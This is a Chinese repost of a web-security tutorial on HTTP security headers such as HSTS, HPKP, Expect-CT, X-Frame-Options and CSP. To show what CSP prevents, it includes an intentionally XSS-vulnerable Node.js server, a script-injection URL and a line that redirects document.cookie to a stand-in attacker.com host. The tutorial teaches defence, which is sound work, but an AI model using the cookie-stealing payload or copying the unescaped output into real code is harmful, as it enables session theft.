栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > Web开发 > JavaScript

使用这些 HTTP 头保护 Web 应用

JavaScript 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

使用这些 HTTP 头保护 Web 应用

摘要: 安全是个大学问。

  • 原文:Web 应用安全性: 使用这些 HTTP 头保护 Web 应用
  • 作者:前端小智

Fundebug经授权转载,版权归原作者所有。

这是关于web安全性系列文章的第 三 篇,其它的可点击以下查看:

  • Web 应用安全性: 浏览器是如何工作的
  • Web 应用安全性: HTTP简介

目前,浏览器已经实现了大量与安全相关的头文件,使攻击者更难利用漏洞。接下来的讲解它们的使用方式、它们防止的攻击类型以及每个头后面的一些历史。

HTTP Strict Transport Security (HSTS)

HSTS(HTTP Strict Transport Security)国际互联网工程组织IETF正在推行一种新的Web安全协议,HSTS 的作用是强制客户端(如浏览器)使用 HTTPS 与服务器创建连接。

自 2012 年底以来,HTTPS 无处不在的支持者发现,由于 HTTP 严格传输安全性,强制客户端总是使用 HTTP 协议的安全版本更容易:一个非常简单的设置 Strict-Transport-Security: max-age=3600 将告诉浏览器 对于下一个小时(3600秒),它不应该与具有不安全协议的应用程序进行交互。

当用户尝试通过 HTTP 访问由 HSTS 保护的应用程序时,浏览器将拒绝继续访问,自动将 http:// 的 URL 转换为 https://。

你可以使用 github.com/odino/wasec/tree/master/hsts 中的代码在本地测试这个。你需要遵循 README 中的说明(它们通过 mkcert 工具在你的电脑上的localhost 安装可信的 SSL 证书),然后尝试打开 https://localhost:7889。

在这个示例中有两个服务器,一个 HTTPS 服务器监听 7889,另一个 HTTP 服务器监听端口 7888。当你访问 HTTPS 服务器时,它总是试图重定向到 HTTP 版本,这将正常工作,因为 HTTPS 服务器上没有 HSTS 策略。如果在 URL 中添加 hsts=on 参数,浏览器将强制将重定向中的链接转换为 https:// 版本。由于 7888 上的服务器只支持 http,所以最终将看到类似于这样的页面。

你可能想知道用户第一次访问你的网站时会发生什么,因为事先没有定义 HSTS 策略:攻击者可能会欺骗用户访问你网站的 http:// 版本并在那里进行攻击,所以仍然存在问题,因为 HSTS 是对首次使用机制的信任,它试图做的是确保,一旦你访问过网站,浏览器就知道后续交互必须使用 HTTPS

解决这个缺点的一个方法是维护一个海量的数据库,其中包含了执行 HSTS 的网站,这是Chrome 通过 hstspreload.org 实现的。你必须首先设置安全的方案,然后访问网站并检查它是否符合添加到数据库的条件。例如,我们可以在这看到 Facebook 榜上有名。

将你的的网站提交到这个列表中,就可以提前告诉浏览器你的网站使用 HSTS,这样即使客户端和服务器之间的第一次交互也将通过一个安全通道进行。但是这是有代价的,因为你确实需要投入到 HSTS 中。如果你希望你的网站从列表中删除,这对浏览器厂商来说不是件容易的事:

请注意,预加载列表中的内容无法轻松撤消。

域名可以被移除,但是 Chrome 的更新需要几个月的时间才能让用户看到变化,我们不能保证其他浏览器也一样。不要请求包含,除非您确定能够长期支持整个站点及其所有子域的HTTPS。

这是因为供应商不能保证所有用户都使用最新版本的浏览器,而你的站点已从列表中删除。仔细考虑,并根据你对 HSTS 的信心程度和长期支持 HSTS 的能力做出决定。

HTTP Public Key Pinning (HPKP)

HTTP 公钥固定是一种安全机制,它的工作原理是通过响应头或者 标签告诉浏览器当前网站的证书指纹,以及过期时间等其它信息。未来一段时间内,浏览器再次访问这个网站必须验证证书链中的证书指纹,如果跟之前指定的值不匹配,即便证书本身是合法的,也必须断开连接。

目前 Firefox 35+ 和 Chrome 38+ 已经支持, HPKP 基本格式如下:

Public-Key-Pins:
  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";
  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";
  max-age=3600; includeSubDomains;
  report-uri="https://pkpviolations.example.org/collect"

各字段含义如下:

  • pin-sha256 即证书指纹,允许出现多次(实际上最少应该指定两个);
  • max-age 和 includeSubdomains 分别是过期时间和是否包含子域,它们在 HSTS(HTTP Strict Transport Security)中也有,格式和含义一致;
  • report-uri用来指定验证失败时的上报地址,格式和含义跟 CSP(Content Security Policy)中的同名字段一致;
  • includeSubdomains 和 report-uri 两个参数均为可选;

报头使用证书的散列列出服务器将使用哪些证书(在本例中是其中的两个证书),并包含附加信息,比如这个指令的生存时间(max-age=3600)和其他一些细节。遗憾的是,我们没有必要深入了解我们可以用公钥钉固定做什么,因为这个功能已经被 Chrome 弃用了——这是一个信号,这一信号表明它的采用很快就会直线下降。

Chrome 的决定并不是不理性的,而仅仅是与公钥固定相关的风险的结果。如果wq丢失了证书,或者只是在测试时犯了一个错误,你的网站将无法访问之前访问过该网站的用户(在max-age指令期间,通常是几周或几个月)。

由于这些潜在的灾难性后果,HPKP 的使用率一直非常低,并且出现了由于错误配置导致大型网站无法访问的事件。综上所述,Chrome 认为没有 HPKP提 供的保护,用户会过得更好——安全研究人员并不完全反对这一决定。

Expect-CT

虽然 HPKP 已经被弃用,但是一个新的头介入进来,防止欺骗 SSL 证书被提供给客户端:Expect-CT。

Expect-CT 头允许站点选择性报告和/或执行证书透明度 (Certificate Transparency) 要求,来防止错误签发的网站证书的使用不被察觉。当站点启用 Expect-CT 头,就是在请求浏览器检查该网站的任何证书是否出现在公共证书透明度日志之中。

CT 基本格式如下:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

max-age

该指令指定接收到 Expect-CT 头后的秒数,在此期间用户代理应将收到消息的主机视为已知的 Expect-CT 主机。

如果缓存接收到的值大于它可以表示的值,或者如果其随后计算溢出,则缓存将认为该值为2147483648(2的31次幂)或其可以方便表示的最大正整数。

report-uri="" 可选

该指令指定用户代理应向其报告 Expect-CT 失效的 URI。

当 enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。

enforce 可选

该指令示意用户代理应强制遵守证书透明度政策(而不是只报告合规性),并且用户代理应拒绝违反证书透明度政策的之后连接。

当 enforce 指令和 report-uri 指令共同存在时,这种配置被称为“强制执行和报告”配置,示意用户代理既应该强制遵守证书透明度政策,也应当报告违规行为。

CT 计划的目标是比以前使用的任何其他方法更早、更快、更精确地检测错误颁发的或恶意的证书(以及流氓证书颁发机构)。

通过选择使用 Expect-CT 头,你可以利用这一优势来改进应用程序的安全状态。

X-frame-Options

想象一下,在你的屏幕前弹出这样一个网页:

只要你点击这个链接,你就会发现你银行账户里的钱都不见了,发生了什么事?

你是点击劫持攻击的受害者。

攻击者将你引导至他们的网站,该网站显示了一个非常有吸引力的点击链接。 不幸的是,他还在页面中嵌入了带了链接地址 your-bank.com/transfer?amount=-1&[attacker@gmail.com的 iframe,且通过设置透明度为 0%来隐藏它。

然后发生的事情是想到点击原始页面,试图赢得一个全新的悍马,这时浏览器上iframe上捕获了一个点击,这是一个确认转移资金的危险点击。

大多数银行系统要求你指定一次性 PIN 码来确认交易,但你的银行没有赶上时间且你的所有资金都已被转走了。

这个例子非常极端,但应该让你了解点击劫持攻击 可能带来的后果。 用户打算单击特定链接,而浏览器将触发嵌入 iframe中“不可见”页面上的点击。

幸运的是,浏览器为这个问题提供了一个简单的解决方案: X-frame-Options (XFO),它允许您人定是否可以将应用程序作为 iframe 嵌入外部网站。由于 Internet Explorer 8 的普及,XFO 于2009 年首次引入,现在仍然受到所有主流浏览器的支持。

它的工作原理是,当浏览器看到 iframe 时,加载它并在渲染它之前验证它的 XFO 是否允许它包含在当前页面中。

X-frame-Options 有三个值:

  • DENY:表示该页面不允许在 frame 中展示,即便是在相同域名的页面中嵌套也不允许。
  • SAMEORIGIN:表示该页面可以在相同域名页面的 frame 中展示。
  • ALLOW-FROM uri :表示该页面可以在指定来源的 frame 中展示。

换一句话说,如果设置为 DENY,不光在别人的网站 frame 嵌入时会无法加载,在同域名页面中同样会无法加载。另一方面,如果设置为 SAMEORIGIN,那么页面就可以在同域名页面的 frame 中嵌套。

包含最严格的 XFO 策略的 HTTP 响应示例如下:

HTTP/1.1 200 OK
Content-Type: application/json
X-frame-Options: DENY
...

为了展示启用 XFO 时浏览器的行为,我们只需将示例的 URL 更改为 http://localhost:7888/?xfo=on。 xfo=on 参数告诉服务器在响应中包含 X-frame-Options: deny,我们可以看到浏览器如何限制对 iframe 的访问:

XFO被认为是防止基于框架的点击劫持攻击的最佳方法,直到数年后出现了另一种报头,即内容安全策略**(Content Security Policy,简称CSP)**。

Content Security Policy (CSP)

内容安全策略(CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

为使CSP可用, 你需要配置你的网络服务器返回 Content-Security-Policy HTTP头部 ( 有时你会看到一些关于 X-Content-Security-Policy 头部的提法, 那是旧版本,你无须再如此指定它)。

要了解 CSP 如何帮助我们,我们首先应该考虑攻击媒介。 假设我们刚刚构建了自己的 Google 搜索,这是一个带有提交按钮的简单输入文本。

这个 web 应用程序没有什么神奇的功能。只是,

  • 显示一个表单
  • 让用户执行搜索
  • 显示搜索结果和用户搜索的关键字

当我们执行简单搜索时,这就是应用程序返回的内容:

我们的应用程序非常理解我们的搜索,并找到了一个相关的图像。如果我们深入研究源代码,可以在github.com/odino/wasec/tree/master/xss.com 上找到,我们很快就会发现应用程序存在安全问题,因为用户搜索的任何关键字都直接打印在提供给客户端的 HTML 响应中:

var qs = require('querystring')
var url = require('url')
var fs = require('fs')
require('http').createServer((req, res) => {
  let query = qs.parse(url.parse(req.url).query)
  let keyword = query.search || ''
  let results = keyword ? `You searched for "${keyword}", we found:
` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888)

Search The Web

__RESULTS__

这带来了一个糟糕的后果。攻击者可以创建一个特定的链接,在受害者浏览器中执行任意Javascript。

如果你有时间和耐心在本地运行示例,你将能够快速了解 CSP 的强大功能。 我添加了一个启用CSP的查询字符串参数,因此我们可以尝试在启用 CSP 的情况下导航到恶意 URL:

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

正如你在上面的例子中所看到的,我们已经告诉浏览器,我们的 CSP 策略只允许脚本包含在当前 URL 的同一来源,我们可以通过展开 URL 和查看响应头来验证:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OK
X-XSS-Protection: 0
Content-Security-Policy: default-src 'self'
Date: Sat, 11 Aug 2018 10:46:27 GMT
Connection: keep-alive

由于 XSS 攻击是通过内联脚本(直接嵌入到HTML内容中的脚本)进行的,所以浏览器友好地拒绝执行它,以保证用户的安全。想象一下,如果攻击者不是简单地显示一个警告对话框,而是通过一些Javascript代码将重定向到自己的域,代码可能如下:

window.location = `attacker.com/${document.cookie}`

他们本来可以窃取所有用户的 cookie,其中可能包含高度敏感的数据(下一篇文章中有更多内容)。

CSP的一个有趣的变化是 report-only 模式。可以不使用 Content-Security-Policy 头文件,而是首先使用 Content-Security-Policy-Report-Only 头文件测试 CSP 对你的网站的影响,方法是告诉浏览器简单地报告错误,而不阻塞脚本执行,等等。

通过报告,你可以了解要推出的 CSP 策略可能导致的重大更改,并相应地进行修复。 我们甚至可以指定报告网址,浏览器会向我们发送报告。 以下是 report-only 策略的完整示例:

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

CSP 策略本身可能有点复杂,如下例所示:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

本策略定义了以下规则:

  • 可执行脚本(例如Javascript)只能从 scripts.example.com 加载
  • 图像可以从任何源(img-src: *)
  • 视频或音频内容可以从两个来源加载: medias.example.com 和 medias.legacy.example.com

正如你所看到的,策略可能会变得很长,如果我们想确保为用户提供最高的保护,这可能会成为一个相当乏味的过程。不过,编写全面的 CSP 策略是向 web 应用程序添加额外安全层的重要一步。

代码部署后可能存在的BUG没法实时知道,事后为了解决这些BUG,花了大量的时间进行log 调试,这边顺便给大家推荐一个好用的BUG监控工具 Fundebug。

X-XSS-Protection

HTTP X-XSS-Protection 响应头是Internet Explorer,Chrome和Safari的一个功能,当检测到跨站脚本攻击 (XSS)时,浏览器将停止加载页面。虽然这些保护在现代浏览器中基本上是不必要的,当网站实施一个强大的 Content-Security-Policy 来禁用内联的 Javascript (’unsafe-inline’)时, 他们仍然可以为尚不支持 CSP 的旧版浏览器的用户提供保护。

它的语法和我们刚才看到的非常相似:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

XSS 是最常见的攻击类型,其中未经过验证的服务器打印出未经过处理的输入,而且这个标题真正发挥作用。 如果你想亲眼看到这个,我建议你试试 github.com/odino/wasec/tree/master/xss 上的例子。

将 xss=on 附加到 URL 上,它显示了当 XSS 保护时浏览器做了什么 打开了。 如果我们在搜索框中输入恶意字符串,例如